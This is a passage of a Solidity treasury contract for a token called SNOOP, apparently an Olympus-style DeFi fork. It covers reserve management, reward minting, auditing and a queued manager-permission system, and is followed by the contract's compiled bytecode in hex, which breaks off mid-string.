debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( _amount ); totalDebt = totalDebt.sub( _amount ); emit RepayDebt( msg.sender, SNOOP, _amount, _amount ); } /** @notice allow approved address to withdraw assets @param _token address @param _amount uint */ function manage( address _token, uint _amount ) external { if( isLiquidityToken[ _token ] ) { require( isLiquidityManager[ msg.sender ], "Not approved" ); } else { require( isReserveManager[ msg.sender ], "Not approved" ); } uint value = valueOf(_token, _amount); require( value <= excessReserves(), "Insufficient reserves" ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20( _token ).safeTransfer( msg.sender, _amount ); emit ReservesManaged( _token, _amount ); } /** @notice send epoch reward to staking contract */ function mintRewards( address _recipient, uint _amount ) external { require( isRewardManager[ msg.sender ], "Not approved" ); require( _amount <= excessReserves(), "Insufficient reserves" ); IERC20Mintable( SNOOP ).mint( _recipient, _amount ); emit RewardsMinted( msg.sender, _recipient, _amount ); } /** @notice returns excess reserves not backing tokens @return uint */ function excessReserves() public view returns ( uint ) { return totalReserves.sub( IERC20( SNOOP ).totalSupply().sub( totalDebt ) ); } /** @notice takes inventory of all tracked assets @notice always consolidate to recognized reserves before audit */ function auditReserves() external onlyManager() { uint reserves; for( uint i = 0; i < reserveTokens.length; i++ ) { reserves = reserves.add ( valueOf( reserveTokens[ i ], IERC20( reserveTokens[ i ] ).balanceOf( address(this) ) ) ); } for( uint i = 0; i < liquidityTokens.length; i++ ) { reserves = reserves.add ( valueOf( liquidityTokens[ i ], IERC20( liquidityTokens[ i ] ).balanceOf( address(this) ) ) ); } totalReserves = reserves; emit ReservesUpdated( reserves ); emit ReservesAudited( reserves ); } /** @notice returns SNOOP valuation of asset @param _token address @param _amount uint @return value_ uint */ function valueOf( address _token, uint _amount ) public view returns ( uint value_ ) { value_ = IBondCalculator( bondCalculator[ _token ] ).valuation( _token, _amount ); } /** @notice queue address to change boolean in mapping @param _managing MANAGING @param _address address @return bool */ function queue( MANAGING _managing, address _address ) external onlyManager() returns ( bool ) { require( _address != address(0) ); if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0 reserveDepositorQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.RESERVESPENDER ) { // 1 reserveSpenderQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.RESERVETOKEN ) { // 2 reserveTokenQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3 ReserveManagerQueue[ _address ] = block.number.add( blocksNeededForQueue.mul( 2 ) ); } else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4 LiquidityDepositorQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5 LiquidityTokenQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6 LiquidityManagerQueue[ _address ] = block.number.add( blocksNeededForQueue.mul( 2 ) ); } else if ( _managing == MANAGING.DEBTOR ) { // 7 debtorQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.REWARDMANAGER ) { // 8 rewardManagerQueue[ _address ] = block.number.add( blocksNeededForQueue ); } else if ( _managing == MANAGING.SSNOOP ) { // 9 sSNOOPQueue = block.number.add( blocksNeededForQueue ); } else return false; emit ChangeQueued( _managing, _address ); return true; } /** @notice verify queue then set boolean in mapping @param _managing MANAGING @param _address address @param _calculator address @return bool */ function toggle( MANAGING _managing, address _address, address _calculator ) external onlyManager() returns ( bool ) { require( _address != address(0) ); bool result; if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0 if ( requirements( reserveDepositorQueue, isReserveDepositor, _address ) ) { reserveDepositorQueue[ _address ] = 0; if( !listContains( reserveDepositors, _address ) ) { reserveDepositors.push( _address ); } } result = !isReserveDepositor[ _address ]; isReserveDepositor[ _address ] = result; } else if ( _managing == MANAGING.RESERVESPENDER ) { // 1 if ( requirements( reserveSpenderQueue, isReserveSpender, _address ) ) { reserveSpenderQueue[ _address ] = 0; if( !listContains( reserveSpenders, _address ) ) { reserveSpenders.push( _address ); } } result = !isReserveSpender[ _address ]; isReserveSpender[ _address ] = result; } else if ( _managing == MANAGING.RESERVETOKEN ) { // 2 if ( requirements( reserveTokenQueue, isReserveToken, _address ) ) { reserveTokenQueue[ _address ] = 0; if( !listContains( reserveTokens, _address ) ) { reserveTokens.push( _address ); } } result = !isReserveToken[ _address ]; isReserveToken[ _address ] = result; bondCalculator[ _address ] = _calculator; } else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3 if ( requirements( ReserveManagerQueue, isReserveManager, _address ) ) { reserveManagers.push( _address ); ReserveManagerQueue[ _address ] = 0; if( !listContains( reserveManagers, _address ) ) { reserveManagers.push( _address ); } } result = !isReserveManager[ _address ]; isReserveManager[ _address ] = result; } else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4 if ( requirements( LiquidityDepositorQueue, isLiquidityDepositor, _address ) ) { liquidityDepositors.push( _address ); LiquidityDepositorQueue[ _address ] = 0; if( !listContains( liquidityDepositors, _address ) ) { liquidityDepositors.push( _address ); } } result = !isLiquidityDepositor[ _address ]; isLiquidityDepositor[ _address ] = result; } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5 if ( requirements( LiquidityTokenQueue, isLiquidityToken, _address ) ) { LiquidityTokenQueue[ _address ] = 0; if( !listContains( liquidityTokens, _address ) ) { liquidityTokens.push( _address ); } } result = !isLiquidityToken[ _address ]; isLiquidityToken[ _address ] = result; bondCalculator[ _address ] = _calculator; } else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6 if ( requirements( LiquidityManagerQueue, isLiquidityManager, _address ) ) { LiquidityManagerQueue[ _address ] = 0; if( !listContains( liquidityManagers, _address ) ) { liquidityManagers.push( _address ); } } result = !isLiquidityManager[ _address ]; isLiquidityManager[ _address ] = result; } else if ( _managing == MANAGING.DEBTOR ) { // 7 if ( requirements( debtorQueue, isDebtor, _address ) ) { debtorQueue[ _address ] = 0; if( !listContains( debtors, _address ) ) { debtors.push( _address ); } } result = !isDebtor[ _address ]; isDebtor[ _address ] = result; } else if ( _managing == MANAGING.REWARDMANAGER ) { // 8 if ( requirements( rewardManagerQueue, isRewardManager, _address ) ) { rewardManagerQueue[ _address ] = 0; if( !listContains( rewardManagers, _address ) ) { rewardManagers.push( _address ); } } result = !isRewardManager[ _address ]; isRewardManager[ _address ] = result; } else if ( _managing == MANAGING.SSNOOP ) { // 9 sSNOOPQueue = 0; sSNOOP = _address; result = true; } else return false; emit ChangeActivated( _managing, _address, result ); return true; } /** @notice checks requirements and returns altered structs @param queue_ mapping( address => uint ) @param status_ mapping( address => bool ) @param _address address @return bool */ function requirements( mapping( address => uint ) storage queue_, mapping( address => bool ) storage status_, address _address ) internal view returns ( bool ) { if ( !status_[ _address ] ) { require( queue_[ _address ] != 0, "Must queue" ); require( queue_[ _address ] <= block.number, "Queue not expired" ); return true; } return false; } /** @notice checks array to ensure against duplicate @param _list address[] @param _token address @return bool */ function listContains( address[] storage _list, address _token ) internal view returns ( bool ) { for( uint i = 0; i < _list.length; i++ ) { if( _list[ i ] == _token ) { return true; } } return false; } }
0x608060405234801561001057600080fd5b50600436106102f05760003560e01c8063869871bf1161019d578063cd85641a116100e9578063ebd83cd8116100a2578063fbfd393b1161007c578063fbfd393b146110c4578063fc7b9c181461114b578063fd1ec01014611169578063fff9ee87146111c1576102f0565b8063ebd83cd814610fb8578063ee4e19a114611012578063fb9395881461106c576102f0565b8063cd85641a14610ddb578063d031370b14610e33578063d07f390f14610e8b578063d796ffb814610ea9578063df89b34414610ef7578063e83afee314610f51576102f0565b8063a1210a2d11610156578063b1bd38b011610130578063b1bd38b014610c67578063b5b1d56014610cbf578063bc157ac114610d17578063c24ad43e14610d83576102f0565b8063a1210a2d14610b5b578063a569e57114610bb5578063ab319c9a14610c0f576102f0565b8063869871bf1461098357806387d67dff146109db5780638f59c72714610a355780638f6a7b5714610a8d5780638f840ddd14610ae5578063932cc8c314610b03576102f0565b806339bbaed21161025c5780635a96ac0a116102155780636a20de92116101ef5780636a20de921461082d5780636b5e40a71461087b57806370a0502a146108d3578063788c6c011461092b576102f0565b80635a96ac0a1461079b5780636780b45c146107a557806368c31dd5146107d3576102f0565b806339bbaed214610609578063437f79121461063d57806346f68ee914610695578063481c6a75146106d95780634953c3f41461070d5780634e83423c14610741576102f0565b8063124154ca116102ae578063124154ca1461046957806312422d23146104c35780631af4da70146105115780631eec5a9a1461057f578063281ae79a146105e15780632b7ce500146105ff576102f0565b8062f714ce146102f55780630619aff114610343578063089208d81461039b578063094a8651146103a55780630b0eee30146103fd5780630c3513a81461044b575b600080fd5b6103416004803603604081101561030b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611219565b005b61036f6004803603602081101561035957600080fd5b8101908080359060200190929190505050611525565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a3611564565b005b6103e7600480360360208110156103bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e3565b6040518082815260200191505060405180910390f35b6104496004803603604081101561041357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116fb565b005b610453611a24565b6040518082815260200191505060405180910390f35b6104ab6004803603602081101561047f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611af4565b60405180821515815260200191505060405180910390f35b61050f600480360360408110156104d957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b14565b005b6105536004803603602081101561052757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061204f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105cb6004803603604081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612082565b6040518082815260200191505060405180910390f35b6105e9612195565b6040518082815260200191505060405180910390f35b61060761219b565b005b61061161255b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106696004803603602081101561065357600080fd5b810190808035906020019092919050505061257f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106d7600480360360208110156106ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125be565b005b6106e16127c3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107156127ec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107836004803603602081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612812565b60405180821515815260200191505060405180910390f35b6107a3612832565b005b6107d1600480360360208110156107bb57600080fd5b81019080803590602001909291905050506129d8565b005b610815600480360360208110156107e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c80565b60405180821515815260200191505060405180910390f35b6108796004803603604081101561084357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ca0565b005b6108a76004803603602081101561089157600080fd5b8101908080359060200190929190505050612eee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108ff600480360360208110156108e957600080fd5b8101908080359060200190929190505050612f2d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096d6004803603602081101561094157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f6c565b6040518082815260200191505060405180910390f35b6109af6004803603602081101561099957600080fd5b8101908080359060200190929190505050612f84565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a1d600480360360208110156109f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fc3565b60405180821515815260200191505060405180910390f35b610a7760048036036020811015610a4b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe3565b6040518082815260200191505060405180910390f35b610ab960048036036020811015610aa357600080fd5b8101908080359060200190929190505050612ffb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610aed61303a565b6040518082815260200191505060405180910390f35b610b4560048036036020811015610b1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613040565b6040518082815260200191505060405180910390f35b610b9d60048036036020811015610b7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613058565b60405180821515815260200191505060405180910390f35b610bf760048036036020811015610bcb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613078565b60405180821515815260200191505060405180910390f35b610c5160048036036020811015610c2557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613098565b6040518082815260200191505060405180910390f35b610ca960048036036020811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130b0565b6040518082815260200191505060405180910390f35b610ceb60048036036020811015610cd557600080fd5b81019080803590602001909291905050506130c8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610d6d60048036036060811015610d2d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613107565b6040518082815260200191505060405180910390f35b610dc560048036036020811015610d9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613593565b6040518082815260200191505060405180910390f35b610e1d60048036036020811015610df157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135ab565b6040518082815260200191505060405180910390f35b610e5f60048036036020811015610e4957600080fd5b81019080803590602001909291905050506135c3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610e93613602565b6040518082815260200191505060405180910390f35b610ef560048036036040811015610ebf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613626565b005b610f3960048036036020811015610f0d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061394b565b60405180821515815260200191505060405180910390f35b610fa060048036036040811015610f6757600080fd5b81019080803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061396b565b60405180821515815260200191505060405180910390f35b610ffa60048036036020811015610fce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506140ca565b60405180821515815260200191505060405180910390f35b6110546004803603602081101561102857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506140ea565b60405180821515815260200191505060405180910390f35b6110ae6004803603602081101561108257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061410a565b6040518082815260200191505060405180910390f35b611133600480360360608110156110da57600080fd5b81019080803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614122565b60405180821515815260200191505060405180910390f35b61115361531b565b6040518082815260200191505060405180910390f35b6111956004803603602081101561117f57600080fd5b8101908080359060200190929190505050615321565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b611203600480360360208110156111d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050615360565b6040518082815260200191505060405180910390f35b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f74206163636570746564000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006113aa8284612082565b90507f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166379cc679033836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b5050505061146a8160215461537890919063ffffffff16565b6021819055506021547f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a26114ca33848473ffffffffffffffffffffffffffffffffffffffff166153c29092919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fdf273cb619d95419a9cd0ec88123a0538c85064229baa6363788f743fff90deb8483604051808381526020018281526020019250505060405180910390a2505050565b6012818154811061153557600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611625576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba60405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601b6020528060005260406000206000915090505481565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561181157601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6118d1565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b60006118dd8383612082565b90506118e7611a24565b81111561195c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e73756666696369656e74207265736572766573000000000000000000000081525060200191505060405180910390fd5b6119718160215461537890919063ffffffff16565b6021819055506021547f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a26119d133838573ffffffffffffffffffffffffffffffffffffffff166153c29092919063ffffffff16565b8273ffffffffffffffffffffffffffffffffffffffff167f2bb2640731848fe9820ba48dbc978c1fc9bbd5f11b948bfab05b7dee3378fd80836040518082815260200191505060405180910390a2505050565b6000611aef611ade6022547f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a9557600080fd5b505afa158015611aa9573d6000803e3d6000fd5b505050506040513d6020811015611abf57600080fd5b810190808051906020019092919050505061537890919063ffffffff16565b60215461537890919063ffffffff16565b905090565b60066020528060005260406000206000915054906101000a900460ff1681565b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bd3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f74206163636570746564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000611c9e8284612082565b90506000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d2b57600080fd5b505afa158015611d3f573d6000803e3d6000fd5b505050506040513d6020811015611d5557600080fd5b810190808051906020019092919050505090506000611dbc601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361537890919063ffffffff16565b905080831115611e34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f457863656564732064656274206c696d6974000000000000000000000000000081525060200191505060405180910390fd5b611e8683601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461546490919063ffffffff16565b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ede8360225461546490919063ffffffff16565b602281905550611ef98360215461537890919063ffffffff16565b6021819055506021547f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33876040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f9f57600080fd5b505af1158015611fb3573d6000803e3d6000fd5b505050506040513d6020811015611fc957600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7e1a939bed137a819b5d2979822c67f877689f7a863d5e4cb57cdca97b2977d68786604051808381526020018281526020019250505060405180910390a35050505050565b60116020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634249719f84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561215257600080fd5b505afa158015612166573d6000803e3d6000fd5b505050506040513d602081101561217c57600080fd5b8101908080519060200190929190505050905092915050565b60205481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461225c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600080600090505b6002805490508110156123ab5761239c61238d6002838154811061228457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600284815481106122bc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561234d57600080fd5b505afa158015612361573d6000803e3d6000fd5b505050506040513d602081101561237757600080fd5b8101908080519060200190929190505050612082565b8361546490919063ffffffff16565b91508080600101915050612264565b5060005b600b805490508110156124f6576124e76124d8600b83815481106123cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b848154811061240757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561249857600080fd5b505afa1580156124ac573d6000803e3d6000fd5b505050506040513d60208110156124c257600080fd5b8101908080519060200190929190505050612082565b8361546490919063ffffffff16565b915080806001019150506123af565b5080602181905550807f93bb8edd35984706eee1b92541281f7f62d33c01c5b2ec0929a113603bd21d6660405160405180910390a2807fec691f09f6924b27932253f85caf99bacc30360cc0e50a1cc4d2acc24601446660405160405180910390a250565b7f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206081565b6008818154811061258f57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461267f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180615c856026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180615cab6022913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167faa151555690c956fc3ea32f106bb9f119b5237a061eaa8557cff3e51e3792c8d60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166379cc679033836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612b2857600080fd5b505af1158015612b3c573d6000803e3d6000fd5b50505050612b9281601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461537890919063ffffffff16565b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bea8160225461537890919063ffffffff16565b6022819055507f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc6d98eecfc9c78ab62c89a82950079b54874749f1f6f24090f7acc758bc2f3098384604051808381526020018281526020019250505060405180910390a350565b60036020528060005260406000206000915054906101000a900460ff1681565b601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612d5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4e6f7420617070726f766564000000000000000000000000000000000000000081525060200191505060405180910390fd5b612d67611a24565b811115612ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e73756666696369656e74207265736572766573000000000000000000000081525060200191505060405180910390fd5b7f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612e6d57600080fd5b505af1158015612e81573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffa8ccab40e7da8146c2304cd0950334fd30a6ba093abe86261aa13911fed849c836040518082815260200191505060405180910390a35050565b60058181548110612efe57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60158181548110612f3d57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b60188181548110612f9457600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b600e818154811061300b57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60215481565b60076020528060005260406000206000915090505481565b600f6020528060005260406000206000915054906101000a900460ff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b60176020528060005260406000206000915090505481565b60146020528060005260406000206000915090505481565b601c81815481106130d857600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131aa5750600c60008473fffffffffffffff